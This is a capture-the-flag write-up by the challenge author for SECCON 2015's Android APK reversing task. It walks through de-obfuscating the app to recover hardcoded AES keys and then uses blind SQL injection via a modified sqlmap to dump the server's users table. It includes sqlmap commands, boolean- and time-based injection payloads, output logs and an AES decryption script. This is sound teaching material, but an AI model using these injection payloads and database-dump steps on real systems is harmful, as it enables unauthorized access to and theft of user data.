SECCON 2015 CTF) Reverse-Engineering Android APK 2 – Unknown- 400 Write up (EN)

12/06/2015 0 Comments

Hello, I’m h2spice
Here is SECCON 2015 – Unknown 400 – Reverse Engineering Android APK(2) WriteUp .


There were two points I considered and put a lot of effort into making a scenarios.

The first thing was ,it should be a practical problem that could happen in real world and the other thing was how to make a interesting process out of it.
now I’m wondering how contestants have thought on it.
(if any problem , please let me know I’d be appreciated and apply to another chance)


The matter was on anAndroid app with three features; Log-in, Sign up, View


Only particular user can be obtained the SECCON{…} authentication key.

There is a possible degree of vulnerability to do SQL-Injection in Email parameter of Login.php and register.php.
The problem should be resolved by Blind SQL Injection attack since Http response is delivered in Json type


With the figure below, you can identify vulnerabilities in SQL-Injection by inserting Query in E-mail form.


When Analyzed decompiled code , you will see that Seccon {…}Key uses uid(unique-id) to encrypt.
Cut the uid as much  [index i:index j] and use as AES key  and ( i,j )variables are obfuscated.


Since SECCON{…} Key is encrypted in particular user’s uid, there are only two ways to obtain uid which The Brute- force Attack and Taking Server’ Database

That’s because you get limited time( 24hours) for this competition, Brute-force Attack isn’t a right strategy.
you must go with the other one which is to take server’s Database.
When you Sign up or Sign in , HTTP POST Parameter is transmitted as being AES encrypted.
AES key is composed of the obfuscated data.


Obfuscator is implemented a Feistel-Cipher using a simplePRNG(Pseudorandom number generator) as the function ‘b’.  (http://en.wikipedia.org/wiki/Feistel_cipher)
static final int a = a(a("FENX0TONI0")); //seed = seed_generator(deObfuscator("FENX0TONI0"));

On the code above, “static final int a” is the Seed used for deObfuscator.
Since deObfuscator calls PRNG(pseudorandom number generator) , PRNG( ) generates Random number refering seed.
However here is a simple trap . It does pretend as if the “seed “is in situation even if it is not existed yet.


In fact ,when object: j.class(Obfuscator) is to generate , int a(seed)is initialized ‘zero’.
And obfuscated data “FENX0TONI0″ is also ‘zero’ when it is solved.

When Argument of Seed -Generator entered ‘0’, It doesn’t matter how many times you do shift operation internally, it stays in ‘zero’ for the whole time.


In this way, you can not only solve obfuscation but find the AES key.
login.php POST parameter AES Key is "3246847986364861"
register.php POST paraneter AES Key is "9845674983296465"

With AES key with Figure above , generate Parameter and go forward on Blind SQL Injection attack.
In my case, I modified the code on SQLMap(http://sqlmap.org/)


If Blind-SQL Injection Attack succeeded, Player could get seccon2015-database information
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 24
[10:04:32] [INFO] resumed: INNODB_BUFFER_POOL_STATS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 17
[10:04:32] [INFO] resumed: INNODB_LOCK_WAITS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 13
[10:04:32] [INFO] resumed: INNODB_CMPMEM
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 10
[10:04:32] [INFO] resumed: INNODB_CMP
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 12
[10:04:32] [INFO] resumed: INNODB_LOCKS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 19
[10:04:32] [INFO] resumed: INNODB_CMPMEM_RESET
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 16
[10:04:32] [INFO] resumed: INNODB_CMP_RESET
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 22
[10:04:32] [INFO] resumed: INNODB_BUFFER_PAGE_LRU
[10:04:32] [INFO] fetching number of tables for database 'seccon2015'
[10:04:32] [INFO] resumed: 1
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 5
[10:04:32] [INFO] resumed: users
Database: information_schema
[40 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_TRX                            |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: seccon2015
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+

[10:04:32] [INFO] fetched data logged to text files under '/Users/h2spice/.sqlmap/output/apk.pwn.seccon.jp'

[*] shutting down at 10:04:32

Player should try to take table from database because uid is on the table.
h2spices-MacBook-Pro:sqlmapproject-sqlmap-a219ff9 h2spice$ python sqlmap.py -r login.txt -p email --dump -T users -D seccon2015
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201511300897}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:09:00

[10:09:00] [INFO] parsing HTTP request from 'login.txt'
[10:09:00] [INFO] resuming back-end DBMS 'mysql' 
[10:09:00] [INFO] resuming back-end DBMS operating system 'Linux' 
[10:09:00] [INFO] testing connection to the target URL
plain-post
password=dkstkdghks&email=h2spice
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=VRMkFtG6DFvKDcdcuNP32Q%3D%3D
[10:09:00] [INFO] heuristics detected web page charset 'ascii'
[10:09:00] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
plain-post
password=dkstkdghks&email=h2spice
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=VRMkFtG6DFvKDcdcuNP32Q%3D%3D
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: password=dkstkdghks&email=h2spice' AND 7759=7759 AND 'aUaH'='aUaH

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: password=dkstkdghks&email=h2spice' AND (SELECT * FROM (SELECT(SLEEP(5)))shyL) AND 'sFAw'='sFAw
---
[10:09:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5
[10:09:00] [INFO] fetching columns for table 'users' in database 'seccon2015'
[10:09:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:09:00] [INFO] retrieved: plain-post
password=dkstkdghks&email=h2spice%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28column_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D0x7573657273%20AND%20table_schema%3D0x736563636f6e32303135%29%2C1%2C1%29%29%3E51%20AND%20%27SYEX%27%3D%27SYEX
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=5pNDsvrGY7Y4Cfi4dATbVIp4ephJJIjMZ0BNE2ROEIHWmJEp64R%2FnXbnF9UURKBP5oY9StTRzv3ovlV6aqn2ZSJqmuFyLB0m8x%2B9yXQSjkGp7%2BTgNW2QXU0giLB4BkpDRQY1j4uG3iepEY8Lpqobs%2FTaA0UVtgBFzGL2uLqQb1QDIXRou%2FcoP94h5KnlRE5Q5Oax0AKEmXUPGkz9QoR%2BFGPeahw3DSg0dY%2FiCe4bbrurGE9BCcB8DQjOnL%2F48Wn94Zg0FO8JihPZRsQmzGGaRw%3D%3D

As a result, you can be able to take all the data of every user from table and it will be able to discover the unique_id of iahthekey @ 2015.seccon.jp account.


Cut the unique-id(iamthekey@2015.seccon.jp) as much  [0:16] and use as AES key.
Then player can decrypt SECCON{…} Key


decrypt.py code is below.
import base64
from Crypto.Cipher import AES

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
unpad = lambda s: s[:-ord(s[len(s)-1:])]

key = "a159c1f7097ba804"
enc = "fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4="
enc = base64.b64decode(enc)
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(enc)
plain=unpad(dec).decode('utf-8')
print plain

SECCON{…} Key is  below
h2spices-MacBook-Pro:Desktop h2spice$ python android400-decrypt.py 
SECCON{6FgshufUTpRm}


If you need my help, tell me anytime. Facebook